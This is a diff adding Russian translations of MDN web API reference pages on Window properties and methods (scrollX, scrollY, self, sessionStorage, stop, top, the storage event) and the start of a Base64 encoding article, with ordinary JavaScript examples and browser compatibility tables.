+<p><code><strong>scrollX</strong></code> — свойство только для чтения интерфейса {{domxref("Window")}}. Возвращает число пикселей, на которое документ пролистали в данный момент по горизонтали. В современных браузерах это значение является точным числом субпикселей, что означает отсутствие необходимости в полном значении количества пикселей. Вы можете получить количество  пикселей, пролистаных по вертикали с помощью свойства {{domxref("Window.scrollY", "scrollY")}} .</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var x = window.scrollX;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p> </p>
+
+<p>Возвращаемое значение является числом с плавающей точкой двойной точности, показывающее количество пикселей в документе, которые были пролистаны на данный момент от начальной позиции, где положительное значение означает, что контент был пролистан налево. Если документ был просматривается на устройстве с возможностью вычислять точное число субпикселей, то возвращаемое значение также является точным количеством субпикселей и может иметь десятичную часть. Если контент не был пролистан ни в одну из сторон по X, то <code>scrollX</code> = 0.</p>
+
+<p> </p>
+
+<div class="note">
+<p>Если вам нужно получить целочисленное значение, используйте {{jsxref("Math.round()")}} для округления.</p>
+</div>
+
+<p>Говоря технически, то <code>scrollX</code> возвращает X-координату от верхнего края текущего окна просмотра ({{Glossary("viewport")}}). Если окна просмотра нет, то возвращаемое значение = 0.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>В данном примере проверяется текущая горизонтальная позиция пролистывания текущего документа. Если это число больше 400 пикселей, то окно пролистывается к началу.</p>
+
+<pre class="brush:js">if (window.scrollX &gt; 400) {
+  window.scroll(0,0);
+}</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Свойство <code>pageXOffset</code> - другое название свойства <code>scrollX</code><span style="line-height: 1.572;">:</span></p>
+
+<pre>window.pageXOffset == window.scrollX; // всегда верно</pre>
+
+<p>Для кросс-браузерной совместимости используйте <code>window.pageXOffset</code> вместо <code>window.scrollX</code>. <strong>Кроме того</strong>, старые версии Internet Explorer (&lt;9) не поддерживают оба свойства. Для работы в Internet Explorer необходимо использовать нестандарные свойства. Пример полностью совместимого со всеми браузерами кода:</p>
+
+<pre class="brush:js">var x = (window.pageXOffset !== undefined)
+  ? window.pageXOffset
+  : (document.documentElement || document.body.parentNode || document.body).scrollLeft;
+
+var y = (window.pageYOffset !== undefined)
+  ? window.pageYOffset
+  : (document.documentElement || document.body.parentNode || document.body).scrollTop;</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-scrollx', 'window.scrollX') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Точность субпикселей</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(55)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile" style="line-height: 19.0909080505371px;">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Точность субпикселей</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(55)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("Window.scrollY")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/scrolly/index.html b/files/ru/web/api/window/scrolly/index.html
new file mode 100644
index 0000000000..8125f381ab
--- /dev/null
+++ b/files/ru/web/api/window/scrolly/index.html
@@ -0,0 +1,77 @@
+---
+title: Window.scrollY
+slug: Web/API/Window/scrollY
+translation_of: Web/API/Window/scrollY
+---
+<p class="syntaxbox">{{APIRef("CSSOM View")}}</p>
+
+<p class="syntaxbox"><code><strong>scrollY</strong></code> — свойство только для чтения интерфейса {{domxref("Window")}}. Возвращает число пикселей, на которое документ пролистали в данный момент по вертикали. В современных браузерах это значение является точным числом субпикселей, что означает отсутствие необходимости в полном значении количества пикселей. Вы можете получить количество  пикселей, пролистанных по горизонтали с помощью свойства {{domxref("Window.scrollX", "scrollX")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var y = window.scrollY</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Возвращаемое значение является числом с плавающей точкой двойной точности, показывающее количество пикселей в документе, которые были пролистаны на данный момент от начальной позиции, где положительное значение означает, что контент был пролистан наверх. Если документ был просматривается на устройстве с возможностью вычислять точное число субпикселей, то возвращаемое значение также является точным количеством субпикселей и может иметь десятичную часть. Если контент не был пролистан ни в одну из сторон по Y, то <code>scrollY</code> = 0.</p>
+
+<div class="note">
+<p>Если вам нужно получить целочисленное значение, используйте {{jsxref("Math.round()")}} для округления.</p>
+</div>
+
+<p>Говоря технически, то <code>scrollY</code> возвращает Y-координату от верхнего края текущего окна просмотра ({{Glossary("viewport")}}). Если окна просмотра нет, то возвращаемое значение = 0.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">// проверить и перейти ко второй странице
+if (window.scrollY) {
+  window.scroll(0, 0);  // Обнулите позицию пролистывания на левый верхний угол документа.
+}
+
+window.scrollByPages(1);</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Применяйте данное свойство для проверки, был ли пролистан документ, когда используете похожие функции для работы с пролистыванием, такие как {{domxref("window.scrollBy", "scrollBy()")}}, {{domxref("window.scrollByLines", "scrollByLines()")}}, or {{domxref("window.scrollByPages", "scrollByPages()")}}.</p>
+
+<p>Свойство <code>pageYOffset</code> - другое название свойства <code>scrollY</code> :</p>
+
+<pre>window.pageYOffset == window.scrollY; // всегда верно</pre>
+
+<p>Для кросс-браузерной совместимости используйте <code>window.pageYOffset</code> вместо <code>window.scrollY</code>. <strong>Кроме того</strong>, старые версии Internet Explorer (&lt;9) не поддерживают оба свойства. Для работы в Internet Explorer необходимо использовать нестандарные свойства. Пример полностью совместимого со всеми браузерами кода:</p>
+
+<pre class="brush:js">var supportPageOffset = window.pageXOffset !== undefined;
+var isCSS1Compat = ((document.compatMode || "") === "CSS1Compat");
+
+var x = supportPageOffset ? window.pageXOffset : isCSS1Compat ? document.documentElement.scrollLeft : document.body.scrollLeft;
+var y = supportPageOffset ? window.pageYOffset : isCSS1Compat ? document.documentElement.scrollTop : document.body.scrollTop;
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-scrolly', 'window.scrollY') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Window.scrollY")}}</p>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("window.scrollX")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/self/index.html b/files/ru/web/api/window/self/index.html
new file mode 100644
index 0000000000..8ba3324229
--- /dev/null
+++ b/files/ru/web/api/window/self/index.html
@@ -0,0 +1,66 @@
+---
+title: Window.self
+slug: Web/API/Window/self
+translation_of: Web/API/Window/self
+---
+<p>{{ APIRef() }}</p>
+
+<p>Cвойство <code><strong>Window.self</strong></code> доступно только для чтения и возвращает объект window в виде объекта {{domxref("WindowProxy")}}. Для доступа к данному свойству возможно использовать точечную нотацию и объект <code>window</code> (<code>window.self</code>) или переменную <code>self</code>. Преимущество доступа через переменную <code>self</code> заключается в том, что ее можно использовать в окружениях, в которых нет window, например {{domxref("Worker", "Web Workers")}}. Использование <code>self</code> дает возможность обращаться к глобальному объекту не только в окружениях где есть window (в таком случае <code>self</code> эквивалентна <code>window.self</code>), но также в воркерах (в случае воркера <code>self</code> эквивалентна {{domxref("WorkerGlobalScope.self")}}).</p>
+
+<h2 id="Notes" name="Notes">Пример</h2>
+
+<p>В следующем примере <code>window.self</code> точно также может быть заменено на <code>window</code>.</p>
+
+<pre class="brush:js">if (window.parent.frames[0] != window.self) {
+    // этот window не является первым frame в списке
+}
+</pre>
+
+<p>Кроме того, когда код выполняется в активном документе браузера, объект <code>window</code> является ссылкой на текущий глобальный объект и таким образом:</p>
+
+<pre class="brush:js">var w1 = window;
+var w2 = self;
+var w3 = window.window;
+var w4 = window.self;
+// Значения переменных w1, w2, w3, w4 строго равны между собой
+// Но только переменная w2 будет работать в workers
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-self', 'Window.self')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No difference from the latest snapshot {{SpecName("HTML5.1")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'browsers.html#dom-self', 'Window.self')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>No difference from the {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-self', 'Window.self')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>First snapshot containing the definition of <code>Window.self</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Window.self")}}</p>
+
+<p> </p>
+
+<h2 class="noinclude" id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Its <code>Worker</code> equivalent, {{domxref("WorkerGlobalScope.self")}}.</li>
+</ul>
diff --git a/files/ru/web/api/window/sessionstorage/index.html b/files/ru/web/api/window/sessionstorage/index.html
new file mode 100644
index 0000000000..cd639b04e1
--- /dev/null
+++ b/files/ru/web/api/window/sessionstorage/index.html
@@ -0,0 +1,139 @@
+---
+title: Window.sessionStorage
+slug: Web/API/Window/sessionStorage
+translation_of: Web/API/Window/sessionStorage
+---
+<p>{{APIRef()}}</p>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Свойство </font>sessionStorage</code> позволяет получить доступ к объекту {{domxref("Storage")}} текущей сессии. Свойство sessionStorage очень похоже на свойство {{domxref("Window.localStorage")}}, единственное различие заключается в том, что все данные, сохраненные в localStorage не имеют определенного времени жизни, а данные в sessionStorage очищаются в момент окончания сессии текущий страницы. Сессия страницы остается активной все время пока окно браузера открыто и сохраняется между перезагрузками страниц. <strong>Открытие той же страницы в новом окне браузера или новой вкладке приводит к созданию новой сессии страницы, </strong>что отличается от поведения session cookies<strong>.</strong></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">// Сохранение данных в sessionStorage
+sessionStorage.setItem('key', 'value');
+
+// Получение данных из sessionStorage
+var data = sessionStorage.getItem('key');</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Объект типа {{domxref("Storage")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий код получает доступ к объекту {{domxref("Storage")}}  текущией сессии домена и добавляет данные в него используя {{domxref("Storage.setItem()")}}.</p>
+
+<pre class="brush: js">sessionStorage.setItem('myCat', 'Tom');</pre>
+
+<p>Следующий пример автоматически сохраняет содержимое текстового поля. Если страница случайно будет обновлена значение  текстового поля будет восстановлено. Таким образом ничего из введенного пользователем не потеряется даже в этом случае.</p>
+
+<pre class="brush: js">// Получаем ссылку на текстовое поле,
+// изменение которого будем отслеживать.
+var field = document.getElementById("field");
+
+// Проверяем наличие значения 'autosave'
+// (это может произойти только если страница будет случайно обновлена)
+if (sessionStorage.getItem("autosave")) {
+  // Восстанавливаем содержимое текстового поля
+  field.value = sessionStorage.getItem("autosave");
+}
+
+// Отслеживаем все изменения в текстовом поле
+field.addEventListener("change", function() {
+  // И сохраняем их в объект session storage
+  sessionStorage.setItem("autosave", field.value);
+});</pre>
+
+<p> </p>
+
+<div class="note">
+<p><strong>Замечание</strong>: Обратитесь к статье <a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a>, чтобы изучить полный пример.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Замечание</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage', '#the-sessionstorage-attribute', 'sessionStorage')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Все браузеры имеют разный уровень поддержки как localStorage так и sessionStorage. Здесь вы можете посмотреть <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">detailed rundown of all the storage capacities for various browsers</a>.</p>
+
+<div class="note">
+<p><strong>Замечание: </strong>начиная с iOS 5.1, Safari Mobile сохраняет данные из localStorage в специальную папку, которая может быть случайно очищена по просьбе системы, обычно это происходит, когда заканчивается место.</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></li>
+ <li>{{domxref("Window.localStorage")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/stop/index.html b/files/ru/web/api/window/stop/index.html
new file mode 100644
index 0000000000..6e79508b29
--- /dev/null
+++ b/files/ru/web/api/window/stop/index.html
@@ -0,0 +1,45 @@
+---
+title: Window.stop()
+slug: Web/API/Window/stop
+translation_of: Web/API/Window/stop
+---
+<div> {{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">Анотация</h2>
+
+<p>Этот метод прекращает загрузку страницы.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">window.stop()
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">window.stop();
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Метод stop() равноценный клику кнопки стоп в браузере. Из-за порядка в котором загружаются скрипты, этот метод не может остановить загрузку документа в котором он вызывается, но он остановит загрузку больших картинок, новых окон и остальных объектов загрузка которых отложена.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','browsers.html#dom-window-stop','Window.stop()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>Метод stop() не поддерживается в Internet Explorer.</p>
diff --git a/files/ru/web/api/window/storage_event/index.html b/files/ru/web/api/window/storage_event/index.html
new file mode 100644
index 0000000000..c110f571ca
--- /dev/null
+++ b/files/ru/web/api/window/storage_event/index.html
@@ -0,0 +1,82 @@
+---
+title: storage
+slug: Web/API/Window/storage_event
+translation_of: Web/API/Window/storage_event
+---
+<p>Событие <code>storage </code>сигнализирует,  что данные в объектах <code>localStorage</code> или <code>sessionStorage были </code>изменены.  Подробнее см. <a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API</a>.</p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><em><a class="external" href="http://www.w3.org/TR/webstorage/#the-storage-event">Web Storage</a></em></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("StorageEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">DefaultView (<code>&lt;window&gt;</code>)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>key</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}} (string)</td>
+   <td>The key being changed.</td>
+  </tr>
+  <tr>
+   <td><code>oldValue</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}} (string)</td>
+   <td>The old value of the key being changed.</td>
+  </tr>
+  <tr>
+   <td><code>newValue</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}} (string)</td>
+   <td>The new value of the key being changed.</td>
+  </tr>
+  <tr>
+   <td><code>url</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}} (string)</td>
+   <td>The address of the document whose key changed.</td>
+  </tr>
+  <tr>
+   <td><code>storageArea</code> {{readonlyInline}}</td>
+   <td>{{domxref("Storage")}}</td>
+   <td>The Storage object that was affected.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/window/top/index.html b/files/ru/web/api/window/top/index.html
new file mode 100644
index 0000000000..5d1bf9db04
--- /dev/null
+++ b/files/ru/web/api/window/top/index.html
@@ -0,0 +1,99 @@
+---
+title: Window.top
+slug: Web/API/Window/top
+translation_of: Web/API/Window/top
+---
+<div>{{APIRef}}</div>
+
+<p>Возвращает ссылку на корневое окно в иерархии окон.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>topWindow</var> = window.top;
+</pre>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>Если свойство {{domxref("window.parent")}} возвращает ссылку именно на родительское окно текущего окна, то  <code>window.top</code> возвращает ссылку на самое верхнее окно в текущей иерархии окон.</p>
+
+<p>Это свойство полезно, когда вы имеете дело с окном (фреймом), которое находится в подкадре родителя или родителей, и вы хотите получить ссылку на верхний уровень всего набора окон.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-top', 'window.top')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-top', 'window.top')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Starting in Gecko 6.0 {{geckoRelease("6.0")}}, this property is read only, as defined by the standard.</p>
diff --git a/files/ru/web/api/windowbase64/base64_encoding_and_decoding/index.html b/files/ru/web/api/windowbase64/base64_encoding_and_decoding/index.html
new file mode 100644
index 0000000000..b85f3671ef
--- /dev/null
+++ b/files/ru/web/api/windowbase64/base64_encoding_and_decoding/index.html
@@ -0,0 +1,138 @@
+---
+title: Кодирование и декодирование в формате Base64
+slug: Web/API/WindowBase64/Base64_encoding_and_decoding
+translation_of: Glossary/Base64
+---
+<p><strong>Base64</strong> - это группа cхожих <a href="https://en.wikipedia.org/wiki/Binary-to-text_encoding">binary-to-text encoding</a> схем, которые представляют двоичные данные в ASCII-формате методом перевода в radix-64 представление. Термин <em>Base64</em> происходит от a specific <a href="https://en.wikipedia.org/wiki/MIME#Content-Transfer-Encoding">MIME content transfer encoding</a>.</p>
+
+<p>Кодирование Base64 широко используется в случаях, когда требуется перекодировать двоичные данные для передачи по каналу приспособленному для передачи текстовых данных. Это делается с целью защиты двоичных данных от любых возможных повреждений при передаче. Base64 широко используется во многих приложениях, включая электронную почту (<a href="https://en.wikipedia.org/wiki/MIME">MIME</a>), и при сохранении больших объёмов данных в <a href="/en-US/docs/XML">XML</a>.</p>
+
+<p>В языке JavaScript существуют две функции, для кодирования и декодирования данных в/из формат Base64 соответственно:</p>
+
+<ul>
+ <li>{{domxref("WindowBase64.btoa","btoa()")}}</li>
+ <li>{{domxref("WindowBase64.atob","atob()")}}</li>
+</ul>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Функция </span></font>atob()</code> декодирует Base64-кодированную строку. В противоположность ей, функция <code>btoa()</code> создаёт Base64 кодированную ASCII строку из "строки" бинарных данных.</p>
+
+<p>Обе функции <code>atob()</code> и <code>btoa()</code> работают со строками. Если вам необходимо работать с <a href="/en-US/docs/Web/API/ArrayBuffer"><code>ArrayBuffers</code></a>, обратитесь к <a href="#">этому параграфу</a>.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">Документация</h2>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/data_URIs" title="https://developer.mozilla.org/en-US/docs/data_URIs"><code>data</code> URIs</a></dt>
+     <dd><small><code>data</code> URIs, описанные в <a class="external" href="http://tools.ietf.org/html/rfc2397" title="http://tools.ietf.org/html/rfc2397">RFC 2397</a>, позволяют создателям контента встроить в документ маленькие файлы в виде строки (инлайном).</small></dd>
+     <dt><a href="https://en.wikipedia.org/wiki/Base64" title="https://en.wikipedia.org/wiki/Base64">Base64</a></dt>
+     <dd><small>Wikipedia article about Base64 encoding.</small></dd>
+     <dt>{{domxref("WindowBase64.atob","atob()")}}</dt>
+     <dd><small>Decodes a string of data which has been encoded using base-64 encoding.</small></dd>
+     <dt>{{domxref("WindowBase64.btoa","btoa()")}}</dt>
+     <dd><small>Creates a base-64 encoded ASCII string from a "string" of binary data.</small></dd>
+     <dt><a href="#The_Unicode_Problem">The "Unicode Problem"</a></dt>
+     <dd><small>In most browsers, calling <code>btoa()</code> on a Unicode string will cause a <code>Character Out Of Range</code> exception. This paragraph shows some solutions.</small></dd>
+     <dt><a href="/en-US/docs/URIScheme" title="/en-US/docs/URIScheme">URIScheme</a></dt>
+     <dd><small>List of Mozilla supported URI schemes</small></dd>
+     <dt><a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a></dt>
+     <dd>In this article is published a library of ours whose aims are:
+     <ul>
+      <li>creating a <a class="external" href="http://en.wikipedia.org/wiki/C_%28programming_language%29" title="http://en.wikipedia.org/wiki/C_%28programming_language%29">C</a>-like interface for strings (i.e. array of characters codes —<a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView" title="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView"> <code>ArrayBufferView</code></a> in JavaScript) based upon the JavaScript <a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer" title="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer"><code>ArrayBuffer</code></a> interface,</li>
+      <li>creating a collection of methods for such string-like objects (since now: <code>stringView</code>s) which work <strong>strictly on array of numbers</strong> rather than on immutable JavaScript strings,</li>
+      <li>working with other Unicode encodings, different from default JavaScript's UTF-16 <a href="/en-US/docs/Web/API/DOMString" title="/en-US/docs/Web/API/DOMString"><code>DOMString</code></a>s,</li>
+     </ul>
+     </dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/en-US/docs/tag/Base64">View All...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Tools" id="Tools" name="Tools">Tools</h2>
+
+    <ul>
